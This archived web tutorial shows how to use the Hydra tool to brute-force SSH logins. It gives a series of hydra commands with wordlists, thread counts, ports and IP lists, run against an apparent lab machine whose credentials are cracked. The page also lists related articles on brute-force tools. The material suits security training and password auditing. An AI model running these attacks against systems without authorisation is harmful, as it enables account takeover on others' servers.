The Wayback Machine - https://web.archive.org/web/20241127042704/https://www.geeksforgeeks.org/how-to-use-hydra-to-brute-force-ssh-connections/
Open In App

How to use Hydra to Brute-Force SSH Connections?

Last Updated : 02 Aug, 2022
Summarize
Comments
Improve
Suggest changes
Like Article
Like
Save
Share
Report
News Follow

Let’s explore using Hydra to brute-force SSH. One of the most popular tools in a hacker’s toolbox is Hydra. It is a great tool for brute force attacks, and you can use it both as a blue team to audit and test ssh passwords against popular password lists like rockyou.txt and crack station wordlists and as a red team to break into computers. 

What is SSH (Secure Shell)?

The SSH Protocol uses the access credential SSH (Secure Shell). To put it another way, it is a cryptographic network protocol used to send encrypted data across a network. Without having to remember or type in your password for every system that needs to log in remotely from another system to a server, you can connect to one or more servers. 

 

What is Hydra?

Hydra is an open-source tool that allows us to perform various kinds of brute force attacks using wordlists. It comes by default with all Pentesting Distros like Kali Linux. Hydra is a parallelized login cracker that can attack many different protocols. It is already installed in Kali Linux and is used to launch dictionary or brute-force attacks against username and password to several services, including MS-SQL, FTP, ssh, telnet, etc. 

Installation and Usage of Hydra tool 

Installation:

Execute the below command in the terminal to install the hydra tool using the apt package manager.  

sudo apt install hydra 

 

Usage:

Example 1: Bruteforcing Both Usernames And Passwords

Type the below command on the terminal and hit Enter.

hydra -L user.txt -P pass.txt 192.168.29.135 ssh -t 4
  • -l specifies a username during a brute force attack.
  • -L specifies a username wordlist to be used during a brute force attack.
  • -p specifies a password during a brute force attack.
  • -P specifies a password wordlist to use during a brute force attack.
  • -t set to 4, which sets the number of parallel tasks (threads) to run.
     

 

From the above screenshot we that the username and password were found. But in the real world, you need thousands, millions and even billions of trials to crack the password.

Example 2: Bruteforcing Passwords 

Type the below command on the terminal and hit Enter.

hydra -l msfadmin -P pass.txt 192.168.29.135 ssh -t 4

Here, we are only brute-forcing passwords on the target server.

 

Example 3: Bruteforcing Username

Type the below command on the terminal and hit Enter.

 hydra -L user.txt -p msfadmin 192.168.29.135 ssh -t 4

In the above example, we were a brute-forcing only passwords, so in this example, we are brute-forcing only usernames on the target server.

 

Some Special Flags: 

Example 1: Change The Number Of Threads

Type the below command on the terminal and hit Enter.

 hydra -L user.txt -P pass.txt 192.168.29.229 ssh -t 5

Here we are changing the Thread Number to 5 and finding the correct username and password. The default thread of Hydra use is 16. We can change the value with the tag -t.

 

Example 2: Change The Port Number

Type the below command on the terminal and hit Enter.

hydra -s 22 -L user.txt -P pass.txt 192.168.29.229 ssh -t 5

Here we are adding the port number of the ssh server as 22 and we have also got the correct password ‘msfadmin’ and username ‘msfadmin’.

 

Example 3: Brute Forcing A List Of IPs

Type the below command on the terminal and hit Enter.

 hydra -L user.txt -P pass.txt -M ip.txt ssh -t 4

Here, along with brute-forcing usernames and passwords, we are also a brute-forcing list of IP addresses that contain more than one target server address.

 

Example 4: Miscellaneous

Type the below command on the terminal and hit Enter.

hydra -l msfadmin -P pass.txt 192.168.29.229 -V -e nsr ssh

For Enable Verbose Mode in Hydra, We can use -V. But user/system admins leave some passwords that need to be accounted for beyond the scope of our wordlists which can be included with the -e flag. Here you can see a command ‘nsr‘ where ‘n’ stands for null,‘s‘ stands for same, ‘r’ tries the reversed username as a potential password

 

Example 5: -V (Verbose Mode)

Type the below command on the terminal and hit Enter.

hydra -s 22 -L user.txt -P pass.txt 192.168.29.229 ssh -V

The verbose mode in hydra is used for checking in-depth and getting the output results in a more detailed manner. So for this detailed output retrieval, the -V flag is used.

 

Example 6: -e nsr flag example

Type the below command on the terminal and hit Enter.

hydra -L user.txt -P pass.txt 192.168.29.229 -e nsr ssh

Sometimes user/system admins leave some passwords that need to be accounted for beyond the scope of our wordlists which can be included with the -e flag. Here you can see a command ‘nsr‘ where ‘n’ stands for null, ‘s‘ stands for same, and ‘r’ tries the reversed username as a potential password. We got the output msfadmin username and password is msfadmin.

 

Example 7: -s flag example 

Note: Example of Changing port number command is the same for this example

Type the below command on the terminal and hit Enter.

hydra -s 22 -L user.txt -P pass.txt 192.168.29.229 ssh -t 5

With flag -s we specify the port number here is port number is 22 and we are using it and got the output is a username is msfadmin and password is msfadmin.

 

Example 8: -h flag (To know more usage of Hydra )

Type This Command And Hit Enter:

hydra -h

-h flag is used to display the help menu of the hydra tool for a better understanding of the tool.

 

Hydra can be a pretty powerful tool when you want to brute-force ssh connections and can be coupled with several other flags to customize your attack. However, this must not be exploited to poke around with stuff you are not meant to and the users alone are accountable for their actions.


Previous Article
Next Article

Similar Reads

How to Install and Use Hydra in Linux?
Weak passwords are still a big problem in security, nowadays guessing passwords and cracking algorithms are becoming easy and brute-forcing is a major kind of attack in the boom. A general rule for making a strong password is to use a combination that is long(more than 8 letters) with capitals, symbols, and numerals. To crack passwords a great tool
4 min read
How to use SSH to connect to a remote server in Linux | ssh Command
Secure Shell, commonly known as SSH, is like a super-secure way to talk to faraway computers, called servers. It's like a secret tunnel on the internet that keeps your conversations safe and private. Imagine you're sending a letter, and instead of sending it openly, you put it in a magic envelope that only you and the person you're sending it to ca
8 min read
Crack Web Based Login Page With Hydra in Kali Linux
Hydra is one of the most powerful open-source password-cracking programs available in Kali Linux. One of the most popular and open-source tools among hackers and penetration testers, it is used for dictionary attacks and brute-forcing. It can brute-force by sending multiple login requests very rapidly to a variety of network protocols, services, we
6 min read
How To Generate SSH Key With ssh-keygen In Linux?
Secure Shell(SSH) is a cryptographic network protocol used for operating remote services securely. It is used for remote operation of devices on secure channels using a client-server architecture that generally operates on Port 22. SSH is the successor of Telnet. SSH uses public and private keys to validate and authenticate users. ssh-keygen is use
4 min read
CrawlBox - Easy Way to Brute-force Web Directory
Directory brute force is used to find hidden and often forgotten directories on a site to try to compromise. Some various automated tools and scripts retrieve the status of the directory which is brute-forced from custom wordlists. CrawlBox tool is a Python language-based tool, which is the command line in use. CrawlBox tool is an advanced tool tha
4 min read
W3brute - Automatic Web Application Brute Force Attack Tool
Brute-Forcing is an automated process through which Usernames, Passwords can be detected by querying the possible credentials on the target domain login pages. We can also brute-force hidden files and directories on the target server by specifying the possible word list which contains the phrases that will be tested on the domain. This process save
3 min read
SubBrute – Tool For Subdomain Brute Force
SubBrute is a free and open-source tool available on GitHub. SubBrute uses DNS Scan for finding subdomains of the target domain. This feature of SubBrute provides an extra layer of anonymity for security researchers. This tool is free means you can download and use this tool free of cost. SubBrute is used for reconnaissance of subdomains. SubBrute
2 min read
Brutex - Open Source Tool for Brute Force Automation
Brutex is a free and open-source tool available on GitHub. This tool is basically made to make the work of penetration tester easier. This tool is a package of three different tools which are Nmap, Hydra, DNSenum. Once you start scanning your target using brutex tool the tool will start scanning using Nmap and after scanning, brutex will force all
1 min read
Brutespray - Port Scanning and Automated Brute Force Tool
Brute-Forcing is the technique of matching the credentials like Usernames, Passwords, OTPs for unauthenticated access to the target domain. The list of words are been tested against the target to get the exact credentials. All this process is done through automated tools. Brutespray is an automated tool that is used to perform brute-forcing for eve
3 min read
0xWPBF – WordPress Users Enumerate and Brute Force Attack
WordPress is a popular CMS which is been used by many web-based applications for providing the service to the end-users. WordPress CMS contains the version which is been updated due to resolved bugs and CVEs. The outdated version can make the Web-based Application vulnerable to cyber threats. Identification of Versions and detection of hidden files
2 min read
Brute Force Attack in Metasploit
A Brute Force Attack is one of the most famous and widely known types of cyber attack out there. a brute force attack is a type of attack that uses a trial-and-error method to guess login credentials, and encryption keys, or find a hidden webpage. If someone repeatedly and unsuccessfully tries to log in to an account or network, it appears to be a
7 min read
Disconnecting Inactive SSH Connections in Linux
SSH or Secure Shell is a cryptographic network protocol that establishes a secure connection between systems remotely. Any user can use this protocol to manage the system remotely but mainly system administrators use it because it transmits data over encrypted channels, which increases its security at a high level. SSH can be used to manage the sys
2 min read
URLBrute – Tool to Brute Forcing Website Sub-Domains and Directories
Brute-Forcing is the technique of matching the credentials like Usernames, Passwords, OTPs for unauthenticated access to the target domain. The list of words are been tested against the target to get the exact credentials. All this process is done through automated tools. URLBrute is an automated tool developed in the Golang language which can be b
2 min read
Haklistgen - Turns Any Junk Text Into A Usable Wordlist For Brute-Forcing
Haklistgen is an automated tool that aims to create a powerful custom wordlist for brute-forcing. All the words in this wordlist are turned into junk text into a usable wordlist. Haklistgen tool is developed in the Golang language and it's faster to use. It supports integrating with other tools like httpx, subfinder, anew, etc. Haklistgen tool is a
2 min read
Blazy – Open Source Modern Login Brute-forcer
Brute-Forcing is the most lengthy password cracking process, but the Blazy tool is not just a brute-force tool, it can also check for CSRF (Cross-Site Request Forgery), Clickjacking, Cloudflare hosts, and even for WAF Vulnerabilities in the target application. Blazy tool is a multi-threading tool and consists of a good error detection system. Blazy
2 min read
Brute-Forcing WPS Pins with Reaver in Linux
Reaver is a free and open-source tool that can be used to brute-force WPS PINs. Reaver works by sending a series of deauthentication packets to the target Wi-Fi router. These deauthentication packets force the router to disconnect all connected devices. Once all devices are disconnected, Reaver then attempts to connect to the router using the WPS P
6 min read
Performing Advanced SSH
While working on any network from a remote location, we find ourselves accessing some Linux servers in the network that we want to SSH into. We can jump from devices to devices in the network. The reason for this is that it makes securing the network a lot easier when our VTY ACL consists of one IP even though we have many admins. A network access
3 min read
How to Disable SSH Root Login in Linux?
SSH or secure shell is a network protocol established between two computers on a network to communicate with each other and share data. This protocol is useful in the case of remote access to the machine. SSH makes the work easy and accessible anywhere. Here we will see how to disable SSH Root Login in Linux. Installation of Openssh-server and Open
1 min read
How to Troubleshoot SSH Connection Issues
SSH client is a program for logging into a remote machine and for executing commands on a remote machine. It is intended to provide secure encrypted communications between two untrusted hosts over an insecure network. Syntax: ssh [option] [user]@[server_address] SSH into a Linux Server using a private key or password Type the ssh command in your te
2 min read
How to Create SSH Tunneling or Port Forwarding in Linux?
SSH is a secure shell standard client utility for Linux. It is used to establish secure connections to remote (or even local) ssh servers. But some programs are not designed flexible enough to be processed by ssh trivial way: the program can work with local connections only or some related network addresses be hard to code defined. That is why SSH
6 min read
How to configure SSH Client in Linux ?
At times we may need to access multiple remote systems with different IP addresses/hostnames, usernames, non-standard-ports with various command-line options. One way is to create a bash alias for each remote connection. But we have an easy and much better solution to this problem. OpenSSH allows to create per-user configuration file to store diffe
4 min read
How to execute commands remotely using SSH in Linux?
Many times users need to work in remote systems. For which they have to log in to the remote server, execute certain commands and come out of that session. Is it possible to perform all these actions locally? Yes, it's possible using ssh client. In this article, we will see different ways of running remote commands locally using ssh. Pre-requisite
2 min read
Linux SSH Server (sshd) Configuration and Security Options With Examples
SSH is short for Secure Shell or Secure Socket shell. According to Wikipedia, the Secure Shell Protocol is a cryptographic network protocol for operating network services securely over an unsecured network. sshd is short for Secure shell daemon. SSH is one of the most reliable ways that you can choose to secure your Linux server-Virtual Private Ser
3 min read
Automated SSH bot in Python
In this article, we are going to see how we can use Python to Automate some basic SSH processes. What is SSH? SSH stands for Secure Shell or Secure Socket Shell, in simple terms, it is a network communication protocol used to communicate between two computers and share data among them. The main feature of SSH is that the communication between two c
8 min read
How to Prevent a Background Process From Being Stopped after Closing SSH client in Linux
What is Background Process? A Background Process is an ongoing process running independently, and that is not visible to the users as it runs without any user interaction after the terminal has been closed. Some of the well-known examples of Background processes are the web servers like Nginx and Apache. The Nginx discovers the file and sends it to
4 min read
How to Download a File from a Server with SSH / SCP?
Secure Copy Protocol (SCP) is a secure file transfer protocol that allows you to transfer files between computers over a secure connection. It is based on the Secure Shell (SSH) protocol and is commonly used to transfer files between servers and local computers. One of the main benefits of using SCP is that it encrypts the data being transferred, e
3 min read
Removing an SSH Public Key for user
Secure Shell (SSH) keys are a fundamental part of modern authentication and secure communication between computers over a network. SSH keys provide a secure way to access remote servers and perform various administrative tasks. However, managing SSH keys is essential to maintain the security of your systems. In some cases, you may need to delete an
6 min read
How to change the default SSH port in Linux
SSH (Secure Shell) is a network protocol used to securely connect to the remote server where the data between the server and client is transferred in an encrypted format. In the world of Linux system administration and security, one essential practice is changing the default SSH port. This article will guide you through the process of enhancing you
7 min read
How to Enable and Start SSH on Kali Linux
Secure Shell (SSH) is a protocol that provides a secure way to access a remote computer. It allows you to remotely log in to a system and execute commands as if you were sitting at the console. In this guide, we will explain how to enable and start SSH on Kali Linux, a popular Linux distribution used for penetration testing and digital forensics. W
5 min read
How to Enable SSH on Ubuntu
Ubuntu is a widely used open-source Linux distribution that provides a user-friendly operating system. It is known for its stability, ease of use, and robust community support. Ubuntu is developed and maintained by Canonical Ltd. It offers a range of features, including a graphical desktop environment, a package management system (APT), and access
4 min read
Article Tags :
three90RightbarBannerImg